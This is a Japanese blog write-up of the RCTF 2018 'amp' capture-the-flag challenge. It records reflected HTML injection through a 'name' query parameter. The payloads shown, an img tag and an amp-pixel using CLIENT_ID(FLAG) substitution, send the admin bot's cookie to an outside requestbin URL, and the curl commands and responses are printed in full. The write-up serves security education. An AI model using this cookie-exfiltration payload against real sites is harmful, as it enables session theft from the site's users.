こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

RCTF 2018 - amp

問題文

Building the future web, together. 
http://amp.2018.teamrois.cn

f:id:graneed:20180520213632p:plain

writeup

まずはcurlでアクセスする。

root@kali:amp# curl http://amp.2018.teamrois.cn/ -v
*   Trying 149.28.139.172...
* TCP_NODELAY set
* Connected to amp.2018.teamrois.cn (149.28.139.172) port 80 (#0)
> GET / HTTP/1.1
> Host: amp.2018.teamrois.cn
> User-Agent: curl/7.57.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: nginx/1.14.0 (Ubuntu)
< Date: Sat, 19 May 2018 01:40:21 GMT
< Content-Type: text/html; charset=UTF-8
< Content-Length: 1930
< Connection: keep-alive
< X-Powered-By: PHP/7.2.5
< Content-Security-Policy: script-src 'nonce-ea004b0c99e73ec15e49d56b101d2b39' 'strict-dynamic'; style-src 'unsafe-inline'
< Set-Cookie: FLAG=flag_is_in_admin_cookie
< Vary: Accept-Encoding
< 
<!doctype html>
<html ⚡>
  <head>
    <meta charset="utf-8">
    <script async src="https://cdn.ampproject.org/v0.js" nonce="ea004b0c99e73ec15e49d56b101d2b39"></script>
    <title></title>
    <link rel="canonical" href="http://example.ampproject.org/article-metadata.html">
    <meta name="viewport" content="width=device-width,minimum-scale=1,initial-scale=1">
    <script type="application/ld+json" nonce="ea004b0c99e73ec15e49d56b101d2b39">
      {
        "@context": "http://schema.org",
        "@type": "NewsArticle",
        "headline": "Open-source framework for publishing content",
        "datePublished": "2015-10-07T12:02:41Z",
        "image": [
          "logo.jpg"
        ]
      }
    </script>
    <style amp-boilerplate>body{-webkit-animation:-amp-start 8s steps(1,end) 0s 1 normal both;-moz-animation:-amp-start 8s steps(1,end) 0s 1 normal both;-ms-animation:-amp-start 8s steps(1,end) 0s 1 normal both;animation:-amp-start 8s steps(1,end) 0s 1 normal both}@-webkit-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-moz-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-ms-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-o-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}</style><noscript><style amp-boilerplate>body{-webkit-animation:none;-moz-animation:none;-ms-animation:none;animation:none}</style></noscript>
    <style amp-custom>body {background:url(background.jpg) no-repeat;background-size:cover;}html,body,.main{min-height:100vh;width:100%;color:#fff;}.main{align-items: center;display: flex;justify-content: center; flex-direction: column;}.main *{ zoom: 2;}.grecaptcha-badge{display: none}</style>
  </head>
  <body>
      <div class="main">
        <h1>HEY</h1>
        <h3>INPUT YOUR NAME AFTER QUERYSTRING</h3>
      </div>
  </body>
</html>
* Connection #0 to host amp.2018.teamrois.cn left intact

Set-Cookie: FLAG=flag_is_in_admin_cookieが返ってきていた。
adminユーザのクッキーを奪取する問題のようだ。

また、INPUT YOUR NAME AFTER QUERYSTRING と表示されているため、
nameパラメータを付与する。

root@kali:amp# curl "http://amp.2018.teamrois.cn/?name=aaaa"
(snip)
  <body>
      <div class="main">
        <p>Dear aaaa:</p>
        <h1>YOU'RE BEING TRACKING</h1>
        <!-- OK, I don't care AMP Standard -->
        <!-- It just wastes my time. -->
        <script src="https://www.google.com/recaptcha/api.js" nonce="bc37a6e35504311117af53dee67caad8"></script>
        <script nonce="bc37a6e35504311117af53dee67caad8">
        function onSubmit(token) {
          document.getElementById("form").submit()
        }
         </script>
        <form method="post" id="form">
          <input type="hidden" name="post" />
          <button class="g-recaptcha" type="submit" data-sitekey="6LeQ6FUUAAAAANBLjFN1slz3-j-Zp-PqUt__NY5p" data-callback="onSubmit">STOP TRACKING ME</button>
        </form>
      </div>
  </body>
</html>

ブラウザでも実行する。 f:id:graneed:20180520222109p:plain

以下2点の変化があった。

  • nameパラメータに指定した値が表示された。
  • 「STOP TRACKING ME」ボタンが出現した。

recaptchaの機能が入っているため、curlでなくブラウザに切り替えてボタン押下する。

(snip)
  <body>
      <div class="main">
        <p>Dear aaaa:</p>
        <h2>We logged your request and contacted admin</h2>
        <h2>However, you'd better know</h2>
        <h1>YOU HAVE NO OPTION</h1>
      </div>
  </body>
</html>

ブラウザでも実行する。 f:id:graneed:20180520222228p:plain

adminユーザに何らかの通知がいったようだ。

nameパラメータを工夫する問題と考える。 試しに、外部サーバ(ここではrequestbin)を参照するimgタグを、nameパラメータにセットしてみる。

root@kali:amp# curl "http://amp.2018.teamrois.cn/" -G --data-urlencode "name=<img src=https://requestbin.fullcontact.com/rdamwrrd?x>"
(snip)
  <body>
      <div class="main">
        <p>Dear <img src=https://requestbin.fullcontact.com/rdamwrrd?x>:</p>
        <h1>YOU'RE BEING TRACKING</h1>
        <!-- OK, I don't care AMP Standard -->
        <!-- It just wastes my time. -->
        <script src="https://www.google.com/recaptcha/api.js" nonce="e21842804650413f6f26284ccf50a35c"></script>
        <script nonce="e21842804650413f6f26284ccf50a35c">
        function onSubmit(token) {
          document.getElementById("form").submit()
        }
         </script>
        <form method="post" id="form">
          <input type="hidden" name="post" />
          <button class="g-recaptcha" type="submit" data-sitekey="6LeQ6FUUAAAAANBLjFN1slz3-j-Zp-PqUt__NY5p" data-callback="onSubmit">STOP TRACKING ME</button>
        </form>
      </div>
  </body>
</html>

nameパラメータは特にサニタイジングされていないことがわかる。
ブラウザで実行するとrequestbinにアクセスが来た。 f:id:graneed:20180520222300p:plain

また、その後に「STOP TRACKING ME」を押下すると、adminとみられるクライアントからrequestbinにアクセスが来た。どうやら、adminが同じURLにアクセスしてくれるようだ。

よって、nameパラメータに、クライアントからCookieを送信するタグやスクリプトをセットし、「STOP TRACKING ME」ボタンを押下することで、adminからFLAGを入手できる。

今一度、HTMLを観察すると、<html ⚡>という見慣れないタグ。

調べると、AMP(Accelerated Mobile Pages)の宣言のようだ。
AMPに準拠するためにはお作法があるようで、<html ⚡>もその一つ。
なるほど、タイトルもampであるし、この仕様・機能を使うのか。

<amp-*>のタグにより各種機能が使用できるようになるようだが、必要に応じてコンポーネントをロードして使用するらしい。 このページでは、以下の標準コンポーネント以外に特にコンポーネントをロードしていない。

    <script async src="https://cdn.ampproject.org/v0.js" nonce="ea004b0c99e73ec15e49d56b101d2b39"></script>

よって、ビルトインの機能に絞って確認する。 github.com

上記ページより、ビルトインで使用できるのは、

  • amp-img
  • amp-layout
  • amp-pixel

の3種だけのようだ。

syncer.jp

amp-pixelが怪しい。そして、置換変数という仕組みがあるらしい。

github.com

Client IDに以下の記載あり。

If the AMP document is not served through the Google AMP Cache, the client ID is replaced with a cookie of the name of the cid scope argument (see below). If it is not present, a cookie will be set with the same name.

nameパラメータに<amp-pixel src="http://requestbin.fullcontact.com/rdamwrrd?q=CLIENT_ID(FLAG)"></amp-pixel>を付けてみる。
AMPに対応しているブラウザである必要があるため、curlでなくブラウザで実行し、requestbinを確認する。 f:id:graneed:20180520222332p:plain

CLIENT_ID(FLAG)の代わりにflag_is_in_admin_cookieが飛んできた。
ビンゴ。

「STOP TRACKING ME」ボタンを押下してadminにアクセスを促し、requestbinを確認する。 f:id:graneed:20180520222556p:plain GET /rdamwrrd?q=RCTF{El_PsY_CONGRO0_sg0}